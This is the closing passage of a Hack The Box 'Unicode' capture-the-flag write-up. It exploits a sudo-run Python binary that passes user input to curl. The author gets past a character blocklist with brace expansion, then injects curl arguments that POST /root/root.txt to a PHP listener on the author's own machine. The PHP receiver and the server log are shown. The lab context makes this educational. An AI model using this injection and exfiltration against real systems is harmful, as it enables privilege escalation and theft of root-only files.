                            obj.create()

            if choice == 2:
                obj.list_files()
                obj.read_file()

    if choice == 3:
        while True:
            obj.download()

    else:
        while True:
            if choice == 4:
                check = False

        print('Wrong input.')
# okay decompiling treport.pyc

After careful analysis, it would seem that the most vulnerable code is that of downloading the file via curl, although there are a number of checks that do not make life easier. In any case, it does not seem to be subject to a type of traversal path using unicode chars this time too. The basic idea, however, is to perform code injection within the command that performs the curl.

cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'
os.system(cmd)

However, the characters inserted in the string that is passed are checked and many of the characters needed to end command and start a new one or executing nested commands ($; & | @ etc ...) are checked, including spaces.

command_injection_list = ['$', '`', ';', '&', '|', '||', '>', '<', '?', "'", '@', '#', '$', '%', '^', '(', ')']

The only characters that are allowed appear to be the comma (,) and curly brackets ('{' and '}'). The biggest problem is including commands without the ability to use spaces, so I try to figure out if it is possible to execute commands without using spaces.

How to send a command with arguments without spaces?
Is there a way to execute a command with arguments in linux without whitespaces? cat file.txt needs to be: cat(somereplacementforthiswhitespace)file.txt

Interesting, just the characters that remain available to us, let's try.

code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:3                                               
Enter the IP/file_name:10.10.15.40:8000{,--cookies,/root/root.txt,}
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   533  100   533    0     0   6345      0 --:--:-- --:--:-- --:--:--  6345
curl: (3) URL using bad/illegal format or missing URL
<!doctype html><html><head><title>404 Not Found</title><style>
body { background-color: #fcfcfc; color: #333333; margin: 0; padding:0; }
h1 { font-size: 1.5em; font-weight: normal; background-color: #9999cc; min-height:2em; line-height:2em; border-bottom: 1px inset black; margin: 0; }
h1, p { padding-left: 10px; }
code.url { background-color: #eeeeee; font-family:monospace; padding:0 2px;}
</style>
</head><body><h1>Not Found</h1><p>The requested resource <code class="url">/root/root.txt</code> was not found on this server.</p></body></html><!doctype html><html><head><title>404 Not Found</title><style>
body { background-color: #fcfcfc; color: #333333; margin: 0; padding:0; }
h1 { font-size: 1.5em; font-weight: normal; background-color: #9999cc; min-height:2em; line-height:2em; border-bottom: 1px inset black; margin: 0; }
h1, p { padding-left: 10px; }
code.url { background-color: #eeeeee; font-family:monospace; padding:0 2px;}
</style>
</head><body><h1>Not Found</h1><p>The requested resource <code class="url">/</code> was not found on this server.</p></body></html>Enter your choice:

Wow, I'm going to have to adjust a bit, but I think we have something. My idea, at this point, is to POST the root file of the flag and send it to my webserver, where I will have a simple php page ready that will retrieve the content and display it. So, the php file should look similar to the following (I apologize to the php developers if the code is not optimized and I use inappropriate instructions, but my php is a bit rusty).

<?php

error_log("################################################");

$entityBody = file_get_contents('php://input');
error_log($entityBody);

error_log("################################################");
?>

Running the binary as root and passing "the right address"...

code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:3
Enter the IP/file_name:{-X,POST,-T,/root/root.txt,http://10.10.15.40:8000/index.php}
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    34    0     1  100    33      0     30  0:00:01  0:00:01 --:--:--    31

...my php code does its job.

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.126 - Unicode (lin)/attack/php]
└─$ php -S 10.10.15.40:8000                                                                                  130 ⨯
[Sun Mar  6 15:09:04 2022] PHP 8.1.2 Development Server (http://10.10.15.40:8000) started
[Sun Mar  6 15:10:18 2022] 10.10.11.126:38414 Accepted
[Sun Mar  6 15:10:19 2022] ################################################
[Sun Mar  6 15:10:19 2022] 8******************************1

[Sun Mar  6 15:10:19 2022] ################################################
[Sun Mar  6 15:10:19 2022] 10.10.11.126:38414 [200]: POST /index.php
[Sun Mar  6 15:10:19 2022] 10.10.11.126:38414 Closing

Really satisfying, I hope you will enjoy your successes as I do when I solve a BOX. That's all folks. See you to the next BOX.

Violin of Fear by Archie Blondinet - The urchin-headed violinist plays a lullaby for the orchid scented fire ants craving lead in a last attempt to rid himself of his deeply rooted fear of empty rooms, half chewed jelly beans and calvados.